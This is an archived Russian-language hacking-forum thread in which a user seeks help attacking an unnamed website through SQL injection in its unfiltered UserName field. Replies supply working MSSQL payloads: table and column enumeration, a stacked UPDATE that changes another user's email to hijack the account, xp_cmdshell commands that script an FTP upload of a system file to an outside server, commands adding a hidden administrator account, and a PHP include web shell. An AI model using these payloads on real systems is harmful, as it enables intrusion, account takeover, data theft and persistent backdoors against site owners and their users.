Просмотр полной версии : mssql-injection - need help...
aka PSIH
15.03.2007, 14:12
Есть сайт, на нем поле UserName не фильтруется...
запросом
1' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES)--
узнаю имена таблиц
1' or 1=(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users')--
так калонки
как мне выполнить запрос:
UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'
1 or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')
скорее всего у тебя просто прав не хватит
aka PSIH
15.03.2007, 14:31
я сразу так делал:
1' or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')--
Incorrect syntax near the keyword 'UPDATE'.
Incorrect syntax near ')'.
я сразу так делал:
1' or 1=(UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz')--
Обычно делают так:
1';UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'--
Апдейт в подзапросах использовать нельзя.
aka PSIH
15.03.2007, 14:50
спасибо, я сам не допер...
>Апдейт в подзапросах использовать нельзя.
буду знать...
guest3297
15.03.2007, 15:12
;UPDATE users SET email_address='qwerty@gmail.com' WHERE user_name='hzhzhz'--
aka PSIH
15.03.2007, 15:19
еще вапрос, при запросе
1' or 1=(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25admin%25')--
через секунд 15-20 выдает:
Timeout expired. The timeout period elapsed prior to completion of the operation or the server is not responding.
можно как-нить обойти?
нету значит таблиц таких.
А вообще советую вместо or использовать and.
aka PSIH
15.03.2007, 16:27
А вообще советую вместо or использовать and
в чем разница?
как можно через mssql-injection залить файл на сервер с удаленного сайта?
в чем разница?
а в английском языке какая разница между Or и And? такая же и тут
Да можно с помощью xp_cmdshell + ftp.
Вообще если 3389 открыт то народ обычно админа делает себе и заходит через remote desctop.
Как файлы заливать:
exec master.dbo.xp_cmdshell 'echo open ftp.server.net > c:\ftp.ini'
exec master.dbo.xp_cmdshell 'echo 123 ftp >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'echo 123 ftp >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'echo put c:\boot.ini >> c:\ftp.ini'
exec master.dbo.xp_cmdshell 'echo bye >> c:\ftp.ini'
exec master.dbo.xp_cmdshell ' ftp -i -s:c:\ftp.ini'
Админа создавать:
exec master.dbo.xp_cmdshell 'net user test test12345 /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators test /add'
Если путь к сайту знаешь то через echo можешь создать файлик типа <?php include($_GET['i']); ?>
Вообщем способов много.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot